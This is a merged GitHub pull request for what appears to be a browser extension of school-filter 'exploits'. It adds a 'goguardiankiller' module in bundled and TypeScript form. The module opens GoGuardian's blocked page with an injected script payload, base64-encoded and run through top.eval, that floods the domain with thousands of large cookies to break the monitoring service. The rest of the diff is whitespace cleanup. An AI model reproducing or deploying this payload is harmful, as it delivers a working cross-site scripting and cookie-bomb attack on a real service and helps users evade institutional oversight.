Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

this might break it or it might not! how fun! #50

Merged
merged 5 commits into from
Jan 5, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 34 additions & 1 deletion dist/build.js
Original file line number Diff line number Diff line change
Expand Up @@ -1357,6 +1357,28 @@
}
n.default = t
},
2441: (e, n) => {
'use strict'
Object.defineProperty(n, '__esModule', { value: !0 })
const t = {
display_name: 'goguardiankiller but prob broken lol',
description: 'Kills goguardian. It will say error, you must reload the page after.',
id: 'goguardiankiller',
section: 'exploit',
onactive: function () {
var url =
'https://student.goguardian.com/teacher/blocked.html?cs=[{"name":""}, {"name":"<style>*{display:none}<\\/style><iframe srcdoc=\\"<script>top.eval(atob(`bGV0IGNvb2tpZXMgPSBbXTsKCmZvciAobGV0IGkgPSAwOyBpIDwgMmUzOyBpKyspIHsKICBjb29raWVzLnB1c2goewogICAgbmFtZTogYGNkJHtpfWAsCiAgICB2YWx1ZTogZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoY3J5cHRvLmdldFJhbmRvbVZhbHVlcyhuZXcgVWludDhBcnJheSgyNSAqIDI1KSkpKSwKICAgIGV4cGlyZXM6IG5ldyBEYXRlKDJlMTQpLnRvVVRDU3RyaW5nKCksCiAgICBwYXRoOiAiLyIsCiAgICBkb21haW46IGxvY2F0aW9uLmhvc3Quc3BsaXQoIi4iKS5zbGljZSgtMikuam9pbigiLiIpCiAgfSk7Cn0KCmNvb2tpZXMgPSBjb29raWVzLm1hcChjb29raWUgPT4gYCR7Y29va2llLm5hbWV9PSR7Y29va2llLnZhbHVlfTtleHBpcmVzPSR7Y29va2llLmV4cGlyZXN9O3BhdGg9JHtjb29raWUucGF0aH07ZG9tYWluPSR7Y29va2llLmRvbWFpbn07YCk7Cgpjb29raWVzLmZvckVhY2goKGNvb2tpZSkgPT4gKGRvY3VtZW50LmNvb2tpZSA9IGNvb2tpZSkpO2hpc3RvcnkucmVwbGFjZVN0YXRlKHt9LHt9LCcvJyk==`))<\\/script>\\"></iframe>"}]'

// idfk if this will work :skull emoji:
window.open(url, '_blank')
},
ondisable: function () {
alert('go to goguardian.com and clear all cookies+cache, disabling this does nothing')
},
custom_render: !1,
}
n.default = t
},
7737: (e, n) => {
'use strict'
Object.defineProperty(n, '__esModule', { value: !0 })
Expand Down Expand Up @@ -1452,7 +1474,16 @@
})(document)
}
Object.defineProperty(n, '__esModule', { value: !0 })
const o = { display_name: "Optical Illusion (maybe broken, didn't test)", description: 'self explanatory', id: 'eyes', section: 'fun', onactive: t, ondisable: t, always: !0, custom_render: !1 }
const o = {
display_name: "Optical Illusion (maybe broken, didn't test)",
description: 'self explanatory',
id: 'eyes',
section: 'fun',
onactive: t,
ondisable: t,
always: !0,
custom_render: !1,
}
n.default = o
},
9735: (e, n, t) => {
Expand Down Expand Up @@ -2209,6 +2240,8 @@
'./exploits/autohide.ts': 1947,
'./exploits/betterforceselect.ts': 7802,
'./exploits/noforcereload.ts': 2440,
// what the fuck do the numbers mean mason!?/11??!?!
'./exploits/goguardiankiller.ts': 2441,
'./fun/editpagetext.ts': 7737,
'./fun/historyflooder.ts': 1411,
'./fun/metalpipe.ts': 8419,
Expand Down
4 changes: 0 additions & 4 deletions src/modules/moduleapi.ts
Original file line number Diff line number Diff line change
Expand Up @@ -35,7 +35,6 @@ export function new_iframe(UI: UIManager, section: HTMLElement, link: string, id
class_name: 'cac__iframe__controls',
})


let iframe_fullscreen = create_element('button', iframe_controls_container, {
class_name: 'cac__iframe__svg',
innerHTML: `<svg xmlns="http://www.w3.org/2000/svg" height="1em" viewBox="0 0 448 512"><!--! Font Awesome Free 6.4.2 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license (Commercial License) Copyright 2023 Fonticons, Inc. --><path d="M32 32C14.3 32 0 46.3 0 64v96c0 17.7 14.3 32 32 32s32-14.3 32-32V96h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM64 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v96c0 17.7 14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H64V352zM320 32c-17.7 0-32 14.3-32 32s14.3 32 32 32h64v64c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32H320zM448 352c0-17.7-14.3-32-32-32s-32 14.3-32 32v64H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32V352z"/></svg>
Expand All @@ -54,7 +53,6 @@ export function new_iframe(UI: UIManager, section: HTMLElement, link: string, id
about:blank`,
})


var dont_push = false

iframe.addEventListener('load', () => {
Expand All @@ -64,7 +62,6 @@ export function new_iframe(UI: UIManager, section: HTMLElement, link: string, id
}
})


var maximized = false

iframe_expand.onmousedown = () => {
Expand Down Expand Up @@ -99,7 +96,6 @@ export function new_iframe(UI: UIManager, section: HTMLElement, link: string, id
window_blank.document.body.appendChild(iframe_blank)
}


return iframe
}

Expand Down
22 changes: 22 additions & 0 deletions src/modules/modules/exploits/goguardiankiller.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
import { moduleDefinition } from '../../moduleapi'

function goguardiankiller() {
var url =
'https://student.goguardian.com/teacher/blocked.html?cs=[{"name":""}, {"name":"<style>*{display:none}<\\/style><iframe srcdoc=\\"<script>top.eval(atob(`bGV0IGNvb2tpZXMgPSBbXTsKCmZvciAobGV0IGkgPSAwOyBpIDwgMmUzOyBpKyspIHsKICBjb29raWVzLnB1c2goewogICAgbmFtZTogYGNkJHtpfWAsCiAgICB2YWx1ZTogZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoY3J5cHRvLmdldFJhbmRvbVZhbHVlcyhuZXcgVWludDhBcnJheSgyNSAqIDI1KSkpKSwKICAgIGV4cGlyZXM6IG5ldyBEYXRlKDJlMTQpLnRvVVRDU3RyaW5nKCksCiAgICBwYXRoOiAiLyIsCiAgICBkb21haW46IGxvY2F0aW9uLmhvc3Quc3BsaXQoIi4iKS5zbGljZSgtMikuam9pbigiLiIpCiAgfSk7Cn0KCmNvb2tpZXMgPSBjb29raWVzLm1hcChjb29raWUgPT4gYCR7Y29va2llLm5hbWV9PSR7Y29va2llLnZhbHVlfTtleHBpcmVzPSR7Y29va2llLmV4cGlyZXN9O3BhdGg9JHtjb29raWUucGF0aH07ZG9tYWluPSR7Y29va2llLmRvbWFpbn07YCk7Cgpjb29raWVzLmZvckVhY2goKGNvb2tpZSkgPT4gKGRvY3VtZW50LmNvb2tpZSA9IGNvb2tpZSkpO2hpc3RvcnkucmVwbGFjZVN0YXRlKHt9LHt9LCcvJyk==`))<\\/script>\\"></iframe>"}]'

// i think i did it
// good
window.open(url, '_blank')
}

const plugin: moduleDefinition = {
display_name: 'goguardiankiller',
description: 'If there is an error, it worked. Reload the page after finished!',
id: 'goguardiankiller',
section: 'exploit',
onactive: goguardiankiller,
reset: true,
custom_render: false,
}

export default plugin;